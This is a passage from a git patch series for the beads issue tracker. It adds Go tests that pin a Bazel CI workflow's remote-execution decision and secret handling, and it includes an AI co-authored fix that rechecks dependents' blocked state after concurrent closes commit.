"043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" @@ -1481,9 +1484,20 @@ const ( "steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }}" ) -// bazel.yml's jobs: the --config=ci lane, and one job per pr.yml job a Bazel -// config mirrors. -var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelPureJobName, bazelJobName} +// bazel.yml's jobs: the rbe job that decides the execution mode, the +// --config=ci lane, and one job per CI job a Bazel config mirrors. +var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelPureJobName, bazelJobName, bazelRBEJobName} + +// The lanes that only run remotely (skipped unless the rbe job chose remote); +// every other lane also runs locally. +var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelIntegJobName: true} + +// The rbe job's decision step reads exactly one secret, and only to test it +// for emptiness: its env value is a boolean, not the secret. +const ( + bazelRBESecretPath = ".jobs." + bazelRBEJobName + ".steps[0].env.HAS_EXECUTOR" + bazelRBESecretValue = "${{ secrets.RBE_WEST_EXECUTOR != '' }}" +) // The only triggers bazel.yml may have. pull_request_target (and // workflow_run) would run with secrets in the context of fork PRs. @@ -1531,21 +1545,18 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { if !reflect.DeepEqual(names, bazelJobNames) { t.Errorf("%s jobs = %v, want %v", bazelWorkflowName, names, bazelJobNames) } - // Every job uses setup-bazel's remote executor when secrets allow. The - // farm admits the Blacksmith pool only; forks (no secrets) and rbe=off - // build locally on the GitHub-hosted runner. - const wantRunsOn = "${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" - // rbe-west (instance "oss") is switched on by the repo variable - // RBE_WEST_WORKERS; until then same-repo runs are skipped and only fork - // PRs and rbe=off dispatches run, locally. - const wantIf = "${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }}" - // Except bazel-embedded: remote only. Run locally, its 27 race test - // processes would take an hour or more of a GitHub-hosted runner per fork - // PR, for tests pr-risk.yml's embedded jobs already run there. - wantIfs := map[string]string{ - bazelEmbedJobName: "${{ vars.RBE_WEST_WORKERS == 'true' && (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true }}", - } - gate := "(inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && " + // Every lane needs the rbe job and takes its runner, skip rule and + // setup-bazel env from that job's outputs alone. Remote runs use the + // Blacksmith pool (the farm admits nothing else); local runs (forks, + // rbe=off, secret-less Dependabot runs) the GitHub-hosted runner. + const wantRunsOn = "${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + // Local-capable lanes skip only in mode skip (same-repo, RBE_WEST_WORKERS + // unset); remote-only lanes (27 race processes and more, an hour or more + // on a GitHub-hosted runner, for tests the Go jobs already run there) + // skip unless remote. + const wantIf = "${{ needs.rbe.outputs.mode != 'skip' }}" + const wantRemoteOnlyIf = "${{ needs.rbe.outputs.enabled == 'true' }}" + gate := "needs.rbe.outputs.enabled == 'true' && " wantSetupEnv := map[string]string{ "BAZEL_REMOTE_EXECUTOR": "${{ " + gate + "secrets.RBE_WEST_EXECUTOR || '' }}", "RBE_TLS_CERT": "${{ " + gate + "secrets.RBE_TLS_CERT || '' }}", @@ -1554,12 +1565,18 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { "RBE_INSTANCE": "${{ " + gate + "'oss' || '' }}", } for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { + t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) + } if job.RunsOn != wantRunsOn { t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantRunsOn) } - want, ok := wantIfs[name] - if !ok { - want = wantIf + want := wantIf + if bazelRemoteOnlyJobs[name] { + want = wantRemoteOnlyIf } if job.If != want { t.Errorf("%s if = %q, want %q", name, job.If, want) @@ -1985,6 +2002,58 @@ func bazelRuleBlock(build, name string) string { return build[start : i+end+3] } +// bazel-integration mirrors main.yml's integration jobs with the unmodified +// --config=integration (whose .bazelrc filter and flags +// TestBazelrcIntegrationLane pins): no extra filter, selector or remote +// config on the command line, a BEP for the test-count check, and no +// equivalence step. ci and integration share bazel-testlogs (review F3), so +// neither the integration lane in bazel-test nor --config=ci here. +func TestBazelIntegrationJob(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + job := workflow.job(t, bazelIntegJobName) + if job.TimeoutMinutes > 45 { + t.Errorf("%s timeout-minutes = %d; it runs remotely only, keep it near the step's 30", bazelIntegJobName, job.TimeoutMinutes) + } + test := job.step(t, "bazel test //... --config=integration") + if test.TimeoutMinutes == 0 || test.TimeoutMinutes >= job.TimeoutMinutes { + t.Errorf("%s test step timeout-minutes = %d, want set and below the job's %d", bazelIntegJobName, test.TimeoutMinutes, job.TimeoutMinutes) + } + cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") + const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) + } + if n := strings.Count(test.Run, "bazel test //"); n != 1 { + t.Errorf("%s test step runs bazel test %d times, want 1", bazelIntegJobName, n) + } + assertTestStepKeepsExitStatus(t, test) + count := job.step(t, "Every target and shard ran tests") + const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test` + if strings.TrimSpace(count.Run) != wantCount || + count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || + (count.ContinueOnError != nil && count.ContinueOnError != false) { + t.Errorf("test-count step: if=%q continue-on-error=%v run=%q; want run %q", count.If, count.ContinueOnError, count.Run, wantCount) + } + logs := job.step(t, "Upload test logs") + if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != "bazel-integration-testlogs" { + t.Errorf("test-log upload: if=%q name=%q", logs.If, logs.With["name"]) + } + for name, j := range workflow.Jobs { + for _, step := range j.Steps { + integ := strings.Contains(step.Run, "--config=integration") + if name == bazelIntegJobName && (strings.Contains(step.Run, "--config=ci") || strings.Contains(step.Run, "equivalence.py")) { + t.Errorf("%s step %q runs the ci lane or equivalence.py; they would read each other's bazel-testlogs", name, step.Name) + } + if name != bazelIntegJobName && integ { + t.Errorf("%s step %q runs --config=integration; only %s may (shared bazel-testlogs)", name, step.Name, bazelIntegJobName) + } + } + } + if err := checkBazelrcIntegrationLane(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc")); err != nil { + t.Error(err) + } +} + // bazel-embedded replaces pr-risk.yml's embedded-Dolt tier: --config=embedded // runs the embedded variants race like the jobs' binaries, with the jobs' // parallelism; each shard variant runs its job's shard script with the job's @@ -2387,6 +2456,9 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { setupSteps := map[string]bool{} for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if name == bazelRBEJobName { + continue // no setup-bazel; its one secret read is pinned below + } n := 0 for i, step := range job.Steps { if step.Uses == "./"+setupBazelActionDir { @@ -2409,6 +2481,9 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { if key || !secretRef.MatchString(value) { return } + if path == bazelRBESecretPath && value == bazelRBESecretValue { + return // the rbe job's emptiness test (TestBazelRBEJobDecidesOnce) + } prefix := path[:strings.LastIndex(path, ".")+1] if !setupSteps[prefix] { t.Errorf("%s: %s reads secrets (%q); only the setup-bazel step's env may", bazelWorkflowName, path, value) @@ -2426,6 +2501,150 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { }) } +// The execution mode (remote, local, skip) is decided once, by the rbe job, +// so a run cannot mix modes and no lane can drift from the others (review D1 +// F1/F5/F6): Dependabot PRs are same-repo but get no secrets, so a condition +// on vars and fork alone sent them to the remote-only path with nothing to +// run it. The job's one step reads nothing but four booleans, runs no +// repository code, and its outputs are the workflow_call outputs. +func TestBazelRBEJobDecidesOnce(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + job := workflow.job(t, bazelRBEJobName) + if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 { + t.Errorf("%s: needs %v, if %q, runs-on %q, env %v; want no needs, if or env, on ubuntu-latest", + bazelRBEJobName, job.Needs, job.If, job.RunsOn, job.Env) + } + wantOutputs := map[string]string{ + "enabled": "${{ steps.decide.outputs.enabled }}", + "mode": "${{ steps.decide.outputs.mode }}", + } + if !reflect.DeepEqual(job.Outputs, wantOutputs) { + t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) + } + if len(job.Steps) != 1 { + t.Fatalf("%s has %d steps, want exactly the decision step", bazelRBEJobName, len(job.Steps)) + } + step := job.Steps[0] + wantEnv := map[string]string{ + "RBE_VAR_ON": "${{ vars.RBE_WEST_WORKERS == 'true' }}", + "RBE_INPUT_OFF": "${{ inputs.rbe == 'off' }}", + "FORK": "${{ github.event.pull_request.head.repo.fork == true }}", + "HAS_EXECUTOR": bazelRBESecretValue, + } + if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || !reflect.DeepEqual(step.Env, wantEnv) { + t.Errorf("%s step: id %q, uses %q, shell %q, with %v, env %v; want id decide, a run step with env %v", + bazelRBEJobName, step.ID, step.Uses, step.Shell, step.With, step.Env, wantEnv) + } + + // The workflow_call outputs are the rbe job's, for a caller's gate. + var doc struct { + On struct { + WorkflowCall struct { + Outputs map[string]struct { + Value string `yaml:"value"` + } `yaml:"outputs"` + } `yaml:"workflow_call"` + } `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &doc); err != nil { + t.Fatal(err) + } + gotCallOutputs := map[string]string{} + for k, v := range doc.On.WorkflowCall.Outputs { + gotCallOutputs[k] = v.Value + } + wantCallOutputs := map[string]string{ + "rbe-enabled": "${{ jobs.rbe.outputs.enabled }}", + "rbe-mode": "${{ jobs.rbe.outputs.mode }}", + } + if !reflect.DeepEqual(gotCallOutputs, wantCallOutputs) { + t.Errorf("workflow_call outputs = %v, want %v", gotCallOutputs, wantCallOutputs) + } + + // Nothing outside the decision step re-derives the condition. + rederive := regexp.MustCompile(`(?i)vars\.RBE_WEST_WORKERS|inputs\.rbe\b|head\.repo\.fork|github\.actor|dependabot`) + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "", func(path string, key bool, value string) { + if key || !rederive.MatchString(value) || strings.HasPrefix(path, ".jobs."+bazelRBEJobName+".steps[0].env.") { + return + } + t.Errorf("%s: %s re-derives the execution mode (%q); read needs.rbe.outputs instead", bazelWorkflowName, path, value) + }) + + // The decision, for the facts GitHub evaluates the four env expressions + // on (its == is case-insensitive; a missing secret reads as ''). + type facts struct { + rbeVar, rbeInput, secret string + fork bool + } + cases := []struct { + name string + in facts + mode, enabled string + }{ + {"same-repo PR with secrets", facts{"true", "", "grpcs://x", false}, "remote", "true"}, + {"push to main", facts{"true", "", "grpcs://x", false}, "remote", "true"}, + {"var in other case", facts{"True", "on", "grpcs://x", false}, "remote", "true"}, + {"Dependabot PR (no secrets)", facts{"true", "", "", false}, "local", "false"}, + {"fork PR", facts{"true", "", "", true}, "local", "false"}, + {"fork PR, var unset", facts{"", "", "", true}, "local", "false"}, + {"dispatch rbe=off", facts{"true", "off", "grpcs://x", false}, "local", "false"}, + {"call rbe=OFF", facts{"true", "OFF", "grpcs://x", false}, "local", "false"}, + {"same-repo, var unset", facts{"", "", "grpcs://x", false}, "skip", "false"}, + {"Dependabot, var unset", facts{"", "", "", false}, "skip", "false"}, + {"var false", facts{"false", "on", "grpcs://x", false}, "skip", "false"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + env := map[string]string{ + "RBE_VAR_ON": strconv.FormatBool(strings.EqualFold(c.in.rbeVar, "true")), + "RBE_INPUT_OFF": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "off")), + "FORK": strconv.FormatBool(c.in.fork), + "HAS_EXECUTOR": strconv.FormatBool(c.in.secret != ""), + } + out, err := runBazelRBEDecision(t, step.Run, env) + if err != nil { + t.Fatal(err) + } + want := map[string]string{"mode": c.mode, "enabled": c.enabled} + if !reflect.DeepEqual(out, want) { + t.Errorf("outputs = %v, want %v", out, want) + } + }) + } + // A value that is not a boolean fails the job rather than picking a mode. + if out, err := runBazelRBEDecision(t, step.Run, map[string]string{ + "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "", "HAS_EXECUTOR": "true", + }); err == nil { + t.Errorf("decision with FORK='' succeeded with %v; want failure", out) + } +} + +// runBazelRBEDecision runs the rbe job's step script under bash -e (as +// GitHub's default shell) and returns its $GITHUB_OUTPUT. +func runBazelRBEDecision(t *testing.T, script string, env map[string]string) (map[string]string, error) { + t.Helper() + dir := t.TempDir() + output := filepath.Join(dir, "output") + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "GITHUB_OUTPUT=" + output, "GITHUB_STEP_SUMMARY=" + filepath.Join(dir, "summary")} + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + if b, err := cmd.CombinedOutput(); err != nil { + return nil, fmt.Errorf("%v: %s", err, b) + } + data, err := os.ReadFile(output) + if err != nil { + return nil, err + } + out := map[string]string{} + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + k, v, _ := strings.Cut(line, "=") + out[k] = v + } + return out, nil +} + // write-bazelrc.sh: no secrets means a local-only rc (fork PRs), a partial set // fails, and the full set enables remote-exec with the key material and rc // outside the workspace and the runner cache. diff --git a/tools/bazel/check_testcases.py b/tools/bazel/check_testcases.py index a57a35571..0b89ee2ad 100755 --- a/tools/bazel/check_testcases.py +++ b/tools/bazel/check_testcases.py @@ -2,6 +2,7 @@ """Fail if a Bazel test (or any shard of it) ran no Go tests. Usage: check_testcases.py --bep [--testlogs DIR] + [--not-go LABEL ...] A test target whose Go binary matches no test still exits 0: a shard script whose manifest assigns a shard nothing ("no tests assigned"), a -test.run @@ -10,7 +11,14 @@ the tests a `bazel test` invocation ran from its BEP and requires every target's test.xml, and every shard's, to list at least one top-level (a Test* name without "/"). It needs the test.xml files locally (--remote_download_regex=.*/test\\.xml$) and -test.v in them -(GO_TEST_WRAP_TESTV=1), as --config=ci and --config=embedded set. +(GO_TEST_WRAP_TESTV=1), as --config=ci, --config=embedded and +--config=integration set. + +--not-go LABEL exempts a test that is not a Go binary (a plain sh_test such +as //tools/bazel:dolt_version_test, whose test.xml Bazel writes with no Go +testcases) from the count. The label must still be in the BEP: an +exemption for a target the run did not test is an error, so a stale one +cannot linger. Exit status: 0 if every test.xml lists a test, 1 otherwise (including a BEP with no test results at all). @@ -35,12 +43,16 @@ def count_testcases(xml_path): return n -def check(tested, testlogs): +def check(tested, testlogs, not_go=()): """Return ([(xml path, count)], [problems]) for {label: shard_count}.""" counts, problems = [], [] if not tested: problems.append("the BEP lists no test results") + for label in sorted(set(not_go) - set(tested)): + problems.append(f"{label}: --not-go, but the BEP has no result for it") for label, shards in sorted(tested.items()): + if label in not_go: + continue for xml_path in testlog_xmls(testlogs, label, shards): rel = os.path.relpath(xml_path, testlogs) if not os.path.exists(xml_path): @@ -61,11 +73,13 @@ def main(argv=None): ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") + ap.add_argument("--not-go", action="append", default=[], metavar="LABEL", + help="a tested non-Go target to leave out of the count (repeatable)") args = ap.parse_args(argv) tested, _, bep_testlogs = read_bep(args.bep) testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" - counts, problems = check(tested, testlogs) + counts, problems = check(tested, testlogs, set(args.not_go)) for rel, n in counts: print(f"{n:5d} {rel}") total = sum(n for _, n in counts) From e352b96d602532dce10ea414df5cf0ca17016a31 Mon Sep 17 00:00:00 2001 From: Alex Date: Sun, 27 Sep 2026 00:56:42 -0700 Subject: [PATCH 199/624] fix(dolt): recheck dependents' blocked state after a close commits (#6719) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): recheck dependents' blocked state after a close commits (be-cmn) A close recomputes its dependents' is_blocked inside its own transaction, against that transaction's start snapshot. Two concurrent closes of sibling blockers each see the other blocker still open, so neither writes the shared dependent's row; both commit without a conflicting cell, and the dependent stays is_blocked=1 and hidden from `bd ready` until `bd recompute-blocked`. The in-transaction close and status-change paths now record the dependents they recomputed (never the closed issue itself) in a transaction-scoped note, the same shape as the events-journal scope. The store's write-transaction runners take that note once the transaction has committed and, only when it is non-empty, run one more short retried transaction that recomputes exactly those ids on a fresh snapshot. The recheck runs after the retry loop around the write, so a recheck failure is reported as "write committed; blocked-state recheck failed" and never replays a write that already landed. When the recheck changes an issues row it mints a Dolt commit naming the closed issue, so the corrected flag reaches history like the close's own rows instead of sitting dirty in the working set. A close with no dependents records nothing and issues no extra SQL. This covers every DoltStore write path, including the lifecycle and batch closers the CLI uses, and the embedded store's withConn. The RunInTransaction path (doltTransaction.CloseIssue) keeps its pinned-connection commit and is not scoped; nothing on the CLI's close or update path reaches a close through it. Fixes #6716 Co-Authored-By: Claude Fable 5.1 * fix(dolt): recheck blocked state after dependency removals and deletes too (be-cmn) Only a close and an update to an inactive status recorded a post-commit blocked recheck. A dependency removal and the three delete paths run the same in-transaction recompute, can likewise only unblock a dependent, and so reproduce gastownhall/beads#6716 when they commit last: a `bd close A` overlapping a `bd dep remove C B` (or a delete of B) leaves C blocked on every committed snapshot with no recheck to settle it. Generalize the recording so each unblocking write records the dependents it recomputed: noteBlockedRecheck now takes a human label for the recheck commit message and an explicit exclusion set. A close or status update excludes its own row (a concurrent writer conflicts on it rather than racing past it); a delete excludes the rows that no longer exist; a dependency removal excludes nothing, because its dependent is exactly the row that needs rechecking. Labels stay bounded: a bulk delete of more than three ids is named by count. The close path's commit message, "bd: recheck blocked after close of ", is unchanged, and a close through update mints the same message as a close through CloseIssue. The server tier gains the close-versus-dependency-removal race and a check that a delete records the deleted row's dependents; the embedded tier pins the recording contract for a close, a removal and a delete on a real engine; the issueops unit test pins deduplication, exclusion and the labels. Co-Authored-By: Claude Fable 5.1 * fix(dolt): name a committed write's recheck failure with a sentinel (be-cmn) A recheck failure reaches the caller as an error from the same store call that just committed its write, indistinguishable from a write that never landed. Add issueops.ErrBlockedRecheckFailed and wrap both stores' recheck failures with it, keeping the underlying cause reachable through a second %w, so a caller can errors.Is a committed-but-unrechecked write apart from an uncommitted one. The stale flag it leaves is the one bd doctor and bd recompute-blocked already repair. The CLI's exit-code treatment is a separate follow-up; this is the storage layer only. Correct the embedded store's comment, which claimed two withConn callers in one process overlap as two server sessions do. They do not: commitConn opens a fresh OpenSQL handle per transaction and OpenSQL waits, with no elapsed-time limit, for the engine, so a second handle blocks until the first is cleaned up. Embedded transactions serialize and the skew of gastownhall/beads#6716 cannot occur there; the recheck stays so the embedded store honors the same contract as the server store and runs after the first handle's cleanup, so it cannot deadlock on itself. Document that the recheck scope is keyed by the DBTX interface value: a write records into it only when the very *sql.Tx the store scoped reaches it, and a future DBTX wrapper would silently record nothing, the same shape as the events-journal scope. Co-Authored-By: Claude Fable 5.1 * docs(issueops): state the blocked recheck's scope precisely (be-cmn) The recorded writes are the ones that take a blocker away, not writes that "can only unblock": removing the one closed child of an any-children gate blocks its waiter, and the recheck, being a full recompute, settles that too. Name the writes that add a blocker (reopen, dependency add, parent-child add) as recomputing the same way without a recheck, so the remaining gap is written down where the mechanism is. The exclude list filters one call's ids only; say so, and that a stale pending id for a row a later write deleted is a harmless no-op. Co-Authored-By: Claude Fable 5.1 * fix(dolt): keep a failed blocked recheck out of the caller, and scope the coverage claim Maintainer fixup for the adoption review of #6719 (fixes gastownhall/beads#6716). Three review majors, plus the cheap non-gating cleanups that sit next to them. The contributor's commits are left exactly as authored. 1. A post-commit recheck failure no longer reaches the caller of a committed write. ErrBlockedRecheckFailed had no consumer, so every store-facing caller — CLI, HTTP, the batch closers — still read it as "the write did not land" and would retry an applied mutation: the double-apply inversion internal/storage/dolt/issue_operations_tx.go documents. The stores now wrap the failure with the sentinel and log it. What it leaves behind is the stale is_blocked flag `bd doctor` and `bd recompute-blocked` already repair, i.e. the state every write had before the recheck existed. This also removes #6723 as a prerequisite for shipping. 2. The recheck runs on issueops.BlockedRecheckContext: detached from the caller's cancellation — the write it repairs has already committed, so a CLI deadline, a disconnected HTTP client or shutdown must not skip the repair and leave exactly the stale flag #6716 is about — with its own ceiling, and marked so a recheck cannot start another. Termination previously rested only on RecomputeIsBlockedInTxWithResult never recording, an invariant nothing enforced. 3. The coverage claim is scoped where it was false. Recording only becomes a recheck on a transaction one of the two store write runners scoped, and `bd batch` reaches neither: it dispatches close, `update status=closed` and `dep remove` onto storage.Transaction when local (cmd/bd/batch.go:177) and onto uow.RunTxResult when proxied (cmd/bd/batch_proxied_server.go:41). 5531d0592's message ("This covers every DoltStore write path … nothing on the CLI's close or update path reaches a close through it") and the PR description said otherwise. The CHANGELOG, blocked_recheck.go's doc comment and the PR description now scope the claim and name the uncovered routes: uow/domain-db, RunInTransaction (`bd batch`, `bd cook`, `bd mol squash`, `bd mol burn`), the legacy RemoveDependencyWithOptions (`bd duplicates --merge`), and the wisp writers. Also non-gating: the recheck's Dolt commit message is bounded (it names up to three writes and counts the rest), and a write that contributed no id is no longer named in it. New tests pin the recheck context, the bounded message, and the store seam the wrapper's unit test could not reach: a close whose recheck transaction fails still returns nil and stays durable, and the failure the withConn/commitConn path produces carries ErrBlockedRecheckFailed. Second review iteration: the scorecard required no changes, and all four findings were non-gating (one minor, three nits). Each indicted text this fixup itself introduced rather than the contributor's, so they are fixed here instead of deferred. 4. A dropped recheck is now counted, not only logged. Swallowing the failure in 1 made that log line the only signal a dependent is stale, while the convention it was modelled on — post_tx_commit_dropped, for the same "post-tx step failed, the write is durable" situation — is a counter *and* a line. bd.db.blocked_recheck_dropped is registered beside it and bumped on the Dolt side, and both stores' warnings now name the rows left unrechecked and point at `bd recompute-blocked`; an operator reading one line previously could not tell which issues needed it. The sentence is shared from issueops next to the sentinel, which also retires the near-duplicate doc comment the two stores carried. 5. The bounded commit message keeps the names it retained: past the limit it appends "and N more" instead of collapsing to a bare count, so the commit that is the only record of which write triggered a repair no longer discards the labels kept for exactly that purpose. N counts the unnamed writes, which also removes a skew — Sources deduplicates and SourceCount does not, so two equal-sized bulk deletes rendered one label and took the count-only form at two writes, not at "more than three" as documented. 6. The CHANGELOG's wisp clause now matches the doc comment and the PR description: closes, updates, deletes and demote-to-wisp. An update to an inactive status also takes a blocker away, and the narrower list under-counted the uncovered routes on the surface users actually read. 7. The Dolt tier's swallow is pinned. Every other test in close_recheck_blocked_test.go calls recheckBlockedAfterCommit directly, so nothing crossed either runner's tail on the tier #6716 was reported on — restoring `return s.recheckBlockedAfterCommit(...)` turned nothing red. TestCloseRecheckBlocked_FailureKeepsTheWrite runs a close through withRetryTx and through withWriteTx with the recheck forced to fail (marking the store closed inside fn, the analog of the embedded test's readOnly flip) and asserts nil plus durability. Gates, this iteration: gofmt clean; go build ./internal/storage/... and go vet on issueops, dolt and embeddeddolt clean; go test ./internal/storage/issueops/ ok; go test -tags gms_pure_go ./internal/storage/embeddeddolt/ -run BlockedRecheck ok (9s, real engine); go test ./internal/storage/dolt/ -run CloseRecheckBlocked ok (27s, dolt testcontainer). Iteration 1 additionally ran the full embedded package (98s) and the dolt subset 'RunInTransaction|BatchCloser|IsBlocked_|CloseRecheck|LifecycleCloseReopen' (156s). Every new assertion was proved non-vacuous by mutating the change it pins — reverting CommitMessage to the count-only form, counting all writes rather than the unnamed ones, dropping the ids and the repair pointer from the warning, unbounding that id list, and restoring the propagation on each runner tail — six mutations, each reddening only the assertions that defend it. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Julian Knutsen (cherry picked from commit 1ed5b3330375de39d8f7a9d55950e5176d35fa1a) Hand-ported to hotfix/1.3.1 (release/1.3.0 base); the pick did not apply cleanly: - internal/storage/dolt/store.go (commitWriteTx) and internal/storage/embeddeddolt/store.go (commitConn): main's context lines install scopeVersionedHistoryTransaction / ScopeVersionedHistoryTransaction, a main-only feature absent on the release line. Resolved by keeping the release code and adding only the two ScopeBlockedRecheckTransaction lines; the versioned-history scope is NOT brought over. Every other hunk in both files (runner split, recheck, logging, metric) applied unchanged. - CHANGELOG.md: main's entry sits in an Unreleased/Fixed list the release branch does not have. The release CHANGELOG is kept and the #6716 entry is added verbatim under a new Unreleased "### Fixed" heading. No schema change; issueops, dolt and embeddeddolt build and vet clean. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 16 + .../dolt/close_recheck_blocked_test.go | 278 ++++++++++++++++ internal/storage/dolt/store.go | 116 +++++-- .../blocked_recheck_internal_test.go | 164 ++++++++++ internal/storage/embeddeddolt/store.go | 67 +++- internal/storage/issueops/blocked_recheck.go | 302 ++++++++++++++++++ .../storage/issueops/blocked_recheck_test.go | 213 ++++++++++++ internal/storage/issueops/bulk_ops.go | 1 + internal/storage/issueops/close.go | 1 + internal/storage/issueops/delete.go | 2 + internal/storage/issueops/dependencies.go | 3 + internal/storage/issueops/update.go | 3 + 12 files changed, 1145 insertions(+), 21 deletions(-) create mode 100644 internal/storage/dolt/close_recheck_blocked_test.go create mode 100644 internal/storage/embeddeddolt/blocked_recheck_internal_test.go create mode 100644 internal/storage/issueops/blocked_recheck.go create mode 100644 internal/storage/issueops/blocked_recheck_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index e188daf97..4a025b100 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -103,6 +103,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 purge that used to delete a closed molecule root under a live step now leaves it. See the `--wisps-plane` entry under Added. +### Fixed + +- Unblocking two blockers of one dependent at the same time — closing both, + or a close racing a `bd dep remove` or a delete of the other — no longer + leaves the dependent stuck as blocked and hidden from `bd ready` until + `bd recompute-blocked`: a write that takes a blocker away (a close, an + update to an inactive status, a dependency removal, a delete) and runs + through a Dolt store write transaction now rechecks the dependents it + recomputed once that transaction has committed + ([#6716](https://github.com/gastownhall/beads/issues/6716)). Writes that + reach the database another way still need the `bd doctor` / + `bd recompute-blocked` repair they needed before: `bd batch` (on both its + plain and its proxied transaction), `bd cook`, `bd mol squash`, + `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, + updates, deletes and demote-to-wisp. + ## [1.3.1] - 2026-09-16 ### Changed diff --git a/internal/storage/dolt/close_recheck_blocked_test.go b/internal/storage/dolt/close_recheck_blocked_test.go new file mode 100644 index 000000000..f7fcca35d --- /dev/null +++ b/internal/storage/dolt/close_recheck_blocked_test.go @@ -0,0 +1,278 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// seedSiblingBlockers creates rb-a and rb-b, both blocking rb-c. +func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { + t.Helper() + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + createPerm(t, ctx, store, id) + } + addDependency(t, ctx, store, "rb-c", "rb-a", types.DepBlocks) + addDependency(t, ctx, store, "rb-c", "rb-b", types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) +} + +// beginRacingWrite opens a transaction on its own pooled connection, pins its +// snapshot by reading both blockers, and runs one unblocking write inside it +// with the ordinary in-transaction recompute, exactly as the store's write +// paths do. It returns the dependents the write recorded for the post-commit +// recheck and a commit step that lands the write and frees the connection. +func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + conn, err := store.db.Conn(ctx) + if err != nil { + t.Fatalf("acquire connection for %s: %v", name, err) + } + tx, err := conn.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx for %s: %v", name, err) + } + clearScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearScope() + var open int + if err := tx.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issues WHERE id IN ('rb-a', 'rb-b') AND status <> 'closed'").Scan(&open); err != nil { + t.Fatalf("pin snapshot for %s: %v", name, err) + } + if open != 2 { + t.Fatalf("snapshot for %s sees %d open blockers, want 2", name, open) + } + if err := write(tx); err != nil { + t.Fatalf("%s in tx: %v", name, err) + } + return issueops.TakeBlockedRecheck(tx), func() { + if err := tx.Commit(); err != nil { + t.Fatalf("commit %s: %v", name, err) + } + _ = conn.Close() + } +} + +// beginRacingClose is beginRacingWrite for a close of id. +func beginRacingClose(t *testing.T, ctx context.Context, store *DoltStore, id string) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + return beginRacingWrite(t, ctx, store, "close of "+id, func(tx *sql.Tx) error { + _, err := 